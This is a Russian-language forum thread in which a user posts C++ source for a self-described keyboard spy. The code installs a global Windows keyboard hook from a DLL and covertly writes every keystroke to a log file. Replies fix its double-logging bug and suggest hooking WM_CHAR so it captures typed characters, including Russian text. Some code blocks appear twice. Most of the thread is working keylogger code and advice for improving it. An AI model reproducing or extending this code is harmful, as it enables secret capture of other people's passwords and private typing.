#include <winuser.h>
#include <winbase.h>
#include <stdio.h>
//--------------------------------------------------------------------------
HHOOK hook;
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
typedef int (CALLBACK* lpfn)();
lpfn hookfunc;
HINSTANCE hDLL=LoadLibrary("dllhook.dll");
hookfunc=(lpfn)GetProcAddress(hDLL,"KeyboardProc");
hook=SetWindowsHookEx(WH_KEYBOARD,hookfunc,LoadLibrary("dllhook.dll"),
0 );
while(1) {};
}
Клавиатурный шпион
Вот решил сделать небольшого клавиатурного шпиона. Но возникла проблема. почему-то, нажатая клавиша, записывается в текстовый файл 2 раза. Например пользователь нажал букву "М". Результат в файле logfile: "ММ". И еще вопрос как сделать распознавание русских букв?
Вот код:
Hook.cpp
/*******************************************************/
Код:
dllhook.cpp (библиотека dll)
/****************************************************/
Код:
#include <vcl.h>
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#pragma hdrstop
//---------------------------------------------------------------------------
#pragma argsused
extern "C" __declspec(dllexport) LRESULT CALLBACK
KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
FILE *f;
if((f=fopen("c:\\logfile.log","a"))!=NULL)
{
fputc(MapVirtualKey(wParam,2),f);
fclose(f);
}
return CallNextHookEx(NULL, code, wParam, lParam);
}
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
return 1;
}
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#pragma hdrstop
//---------------------------------------------------------------------------
#pragma argsused
extern "C" __declspec(dllexport) LRESULT CALLBACK
KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
FILE *f;
if((f=fopen("c:\\logfile.log","a"))!=NULL)
{
fputc(MapVirtualKey(wParam,2),f);
fclose(f);
}
return CallNextHookEx(NULL, code, wParam, lParam);
}
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
return 1;
}
2. С этой функцией (MapVirtualKey) русских букв ты, наверное, не получишь. Может, TranslateMessage? Только как ей воспользоваться в твоём случае - это надо крепко подумать.
Цитата: ShadyMan
Видимо, вначале генерируется и перехватывается нажатие на клавишу, а потом отпускание. А клавиша одна и та же.
Где-то, кажется, у Фаронова, читал, что действительно генерируются сигналы нажатия и отпускания, но значения у них разные, отличающиеся на константу.
Цитата: Sanila_san
Где-то, кажется, у Фаронова, читал, что действительно генерируются сигналы нажатия и отпускания, но значения у них разные, отличающиеся на константу.
Значения-то разные, но mortar89 передаёт функции MapVirtualKey только вирутальный код. А даже если бы передал и скан-код (MapVirtualKey это допускает), то какая разница? Клавиша-то всё равно одна и та же.
Код:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
FILE *f;
if((lParam & (1L << 30)) && (f=fopen("c:\\logfile.log","a"))!=NULL)
{
fputc(MapVirtualKey(wParam,2),f);
fclose(f);
}
return CallNextHookEx(NULL, code, wParam, lParam);
}
{
FILE *f;
if((lParam & (1L << 30)) && (f=fopen("c:\\logfile.log","a"))!=NULL)
{
fputc(MapVirtualKey(wParam,2),f);
fclose(f);
}
return CallNextHookEx(NULL, code, wParam, lParam);
}
А если хотим ловить символы, то лучше перехватывать сообщения WM_CHAR (через WH_GETMESSAGE или WH_CALLWNDPROC). А если еще хотим ловить специальные клавиши, то перехватываем так же WM_KEYDOWN.